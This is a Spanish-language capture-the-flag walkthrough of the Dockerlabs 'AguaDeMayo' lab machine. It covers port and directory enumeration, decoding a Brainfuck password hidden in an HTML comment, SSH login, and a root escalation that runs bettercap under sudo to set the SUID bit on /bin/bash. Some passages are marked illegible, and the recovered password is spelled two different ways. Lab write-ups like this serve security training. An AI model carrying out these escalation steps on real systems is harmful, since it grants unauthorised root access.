

20. ☒ Máquina: AguaDeMayo(Fácil)

- 1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

- **Comando:** `nmap -sVC 172.17.0.2 -Pn`

- **Resultado:** Se encontró los servicios HTTP Apache y SSH abiertos.

- 2. *Búsqueda de directorios activos con Gobuster:*

- Usamos *Gobuster* para encontrar directorios activos en el servicio HTTP Apache.

```
• Comando: gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
```

- **Resultado:** Se encontraron varios directorios interesantes entre ellos el `/index.html` ya conocido y un directorio `/images` en el que podemos descargar una imagen subida llamada `agua_ssh.jpg`.

```
=====
Starting gobuster in directory enumeration mode
=====
/images           (Status: 301) [Size: 309] [--> http://172.17.0.2/images/]
/.html            (Status: 403) [Size: 275]
/index.html       (Status: 200) [Size: 11142]
/.html            (Status: 403) [Size: 275]
/server-status    (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
```

- 3. Inspección `index.html` HTTP:

- Primeramente, inspeccionaremos el código fuente de la página inicial de Apache en el servicio HTTP, que se encuentra en [index.html](#). Observamos que al final del código fuente se encuentran unos caracteres comentados que parecen ser algún tipo de mensaje encriptado, así que buscaremos por internet que podría significar este mensaje.

- **Comandos:** Código fuente de la página inicial caracteres comentados: +++++++

[illegible]

- **Resultado:** Si buscamos por internet el mensaje, podemos descriptarlo utilizando *Brainf*ck Interpreter*, obteniendo el mensaje *bebeaquaqueessano*.

[illegible]

- 4. Análisis imagen agua_ssh.jpg:

- Analizamos la imagen *agua_ssh.jpg* encontrada en el directorio */images* con exiftool y steghide pero no encontramos ninguna información útil utilizando estas herramientas. Sin embargo, podemos deducir que el nombre de usuario para loggearnos en el servicio SSH será *agua* por el nombre del archivo.

```

❯ (root@kali) ~ /home/. /Desktop/Dockerlabs/Facil/adaudemayo
❯ exiftool agua_ssh.jpg
ExifTool Version Number      : 12.76
File Name                    : agua_ssh.jpg
Directory                    : 
File Size                     : 51 kB
File Modification Date/Time   : 2024:08:04 12:48:00-04:00
File Access Date/Time        : 2024:08:04 12:48:27-04:00
File Inode Change Date/Time   : 2024:08:04 12:48:00-04:00
File Permissions             : -rw-rw-r--
File Type                    : JPEG
File Type Extension          : jpg
MIME Type                    : image/jpeg
JFIF Version                 : 1.01
Resolution Unit              : None
X Resolution                  : 1
Y Resolution                  : 1
Image Width                  : 620
Image Height                 : 447
Encoding Process              : Baseline DCT, Huffman coding
Bits Per Sample              : 8
Color Components              : 3
Y Cb Cr Sub Sampling         : YCbCr4:2:0 (2 2)
Image Size                   : 640x427
Megapixels                   : 0.273

❯ (root@kali) ~ /home/. /Desktop/Dockerlabs/Facil/adaudemayo
❯ "stehtide" -info agua_ssh.jpg
"agua_ssh.jpg":
  format: jpeg
  capacity: 2.5 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
stehtide: could not extract any data with that passphrase!

```

- 5. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas en el nombre del fichero y el mensaje oculto.

- **Comando:** `ssh agua@172.17.0.2`

- **Resultado:** Nos encontramos dentro del usuario *agua* en la máquina víctima (ingresando password *bebeaguaqueessano*)

6. Permisos Máquina víctima usuario agua

- Seguidamente, verificaremos los permisos que tiene el usuario *agua* sobre la máquina víctima.

- **Comando:** `sudo -l`

- **Resultado:** El usuario *agua* puede ejecutar la herramienta *Bettercap* con máximos privilegios.

```
(root@kali)~[/home/kali]
# ssh agua@172.17.0.2
agua@172.17.0.2's password:
Linux 228add41124 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6
The programs included with the Debian GNU/Linux system are free
the exact distribution terms for each program are described in
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 14 17:41:58 2024 from 172.17.0.1
agua@228add41124:~$ ls
alpine-v3.13-x86_64-20210218_0139.tar.gz
agua@228add41124:~$ sudo -l
Matching Defaults entries for agua on 228add41124:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/
User agua may run the following commands on 228add41124:
  (root) NOPASSWD: /usr/bin/bettercap
```

7. Uso de Bettercap para elevar privilegios:

- El usuario *agua* puede ejecutar *Bettercap*, que es una herramienta de gestión de vulnerabilidades, en modo privilegiado, y en el propio *Bettercap* podemos ejecutar código, así que podemos aprovecharnos de esto para escalar privilegios.

- **Comando:** `!chmod u+s /bin/bash`

- **Resultado:** Hemos otorgado permisos de ejecución con el bit *SUID* a todos los usuarios utilizando *Bettercap* como usuario privilegiado.

```
agua@228add41124:~$ sudo bettercap
bettercap v2.32.0 (built for linux amd64 with go1.19.8) [type
172.17.0.0/16 > 172.17.0.2 » [17:33:15] [sys.log] [war] exec:
172.17.0.0/16 > 172.17.0.2 » !chmod u+s /bin/bash
172.17.0.0/16 > 172.17.0.2 » exit
```

8. Ejecución Bash con maximos privilegios:

- Una vez otorgado permisos de ejecución para la consola Bash a todos los usuarios, podemos escalar privilegios ejecutándola.

- **Comando:** `bash -p`

- **Resultado:** Hemos obtenido máximos privilegios ejecutando la bash con el bit *SUID* modificado para su ejecución. Fin de la intrusión!

```
agua@228add41124:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bash
agua@228add41124:~$ bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls
bettercap.history go
bash-5.2# xDaliK
bash: xDaliK: command not found
```